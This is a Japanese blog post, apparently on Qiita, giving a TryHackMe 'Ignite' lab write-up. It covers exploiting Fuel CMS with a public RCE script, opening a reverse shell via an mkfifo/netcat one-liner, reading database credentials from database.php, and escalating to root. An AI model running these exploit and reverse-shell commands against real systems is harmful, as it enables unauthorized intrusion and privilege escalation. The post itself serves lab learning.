1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

TryHackMe Writeup:Ignite

Posted at

はじめに

TryHackMeのPracticeにあるお題ですね
Webサーバーに関するもののようです

image.png

お題は以下二つのようです

  1. flag.txt
  2. root.txt

それでは、さっそくやっていきたいと思います!

flag.txt

安定のnmapからスタートしますが、ポート80番しか開いていなかったです。。

HTTPでアクセスしてみると、Fuel CMSというサイトがでてきました。
image.png

なんだろうと思ってGoogleで調べてみると、なんだか怪しいサジェスチョンが。。(笑)

image.png

ということで、msfconsole内で searchsploit Fuelを実行すると下図が得られました

image.png

Remote Code Exeutionがありますねー

50477.pyがどこにあるか探してみます
全ディレクトリから検索するのは以下のコマンドが使えます!

find / -name 50477.py

image.png

作業用ディレクトリにコピー
image.png

以下のコマンドを実行

python3 50477.py -u http://10.10.7.223 

2,3分経つと画面が変わった。うまくいったみたい

image.png

whoamiをしてみたところ、うまく動いているみたいですね
image.png

image.png

ただ、cdなどをしてもsystemと返ってくるだけで、何も進まない、、、

うーん、わからなくなったので、Writeupを見てみることに、、、
https://qiita.com/v_avenger/items/cae682bfc986f261a6a9

リバースシェルを張る必要があるみたい

以下を実施したが、うまくいかず。。。

ローカル(自分のKali Linux)

nc -lnvp  4444  

リモート(攻撃対象)

rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc [IPアドレス] >/tmp/f

ここで気が付く。。。
今、攻撃対象にTryHackMeが指定した手順でOpenVPNを使ってアクセスしているから、IPアドレスはVPNに割り振られたIpアドレスでないといけない。。。
ifconfigをして、tun0になっているところのIPアドレスを指定しないといけないんだ、、、

image.png

これを試してみるとリバースシェルがはれた!!!

あとはディレクトリをいろいろ探していけば、flag.txtが見つかります!

root.txt

他の方のWriteupにも記載されていますが、username,passwordを記載したphpファイルがあるとのこと。。。
(良い子は真似しないようにしましょう)

image.png

さっそくdatabase.phpを探していきます

find / -name database.php

image.png

(アクセスが拒否された、というログがたくさんでてくるので、grepを使うのがいいみたい)

image.png

catで開いてみると、デフォルト設定があった。。。


$db['default'] = array(
        'dsn'   => '',
        'hostname' => 'localhost',
        'username' => 'root',
        'password' => 'mememe',
        'database' => 'fuel_schema',
        'dbdriver' => 'mysqli',
        'dbprefix' => '',
        'pconnect' => FALSE,
        'db_debug' => (ENVIRONMENT !== 'production'),
        'cache_on' => FALSE,
        'cachedir' => '',
        'char_set' => 'utf8',
        'dbcollat' => 'utf8_general_ci',
        'swap_pre' => '',
        'encrypt' => FALSE,
        'compress' => FALSE,
        'stricton' => FALSE,
        'failover' => array(),
        'save_queries' => TRUE
);

ただ、そのまま権限昇格しようとすると、エラーがでる
image.png

Writeupを見つつ、以下を実行するしたところ、root.txtを確認できました!

image.png

この一連のコマンドで何をしているんだろうと思って整理してみました。

  1. 端末をインタラクティブにする
    $ python -c 'import pty; pty.spawn("/bin/bash")'
    このコマンドは、Pythonのpty(pseudo-terminal)モジュールを使用して、シェルを制限された状態からインタラクティブな端末に切り替えます。これにより、su rootのようなコマンドが正常に実行できる端末にします。

  2. シェルを一時停止
    ^Z(Ctrl + Z)
    現在のシェルを一時的に停止し、バックグラウンドに送る操作です。この操作は、次のステップで端末設定を変更するために必要です。

  3. 端末設定の変更
    stty raw -echo;fg
    stty raw -echoで、端末の入力を「rawモード」に変更し、エコーバックを無効にします。これは、端末が入力した文字を表示せずにそのままシステムに送信する設定です。
    (これをしないとコマンドプロンプトが固まりました。。。。)
    fgで、先ほどバックグラウンドに送ったシェルを再度フォアグラウンドに戻します。

  4. rootユーザーへの切り替え
    su root

インタラクティブな端末に変更されたことで、su rootコマンドが正常に動作し、パスワード入力を受け付け、root権限を取得できます。

最後に

Writeupを見れば、十分解ける問題ですし、流れもきれいな気がしました。
それよりも個人的にはVPNで割り当てられたIPアドレスを使わないといけない、ということに気がついたのが大きな発見でした。。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?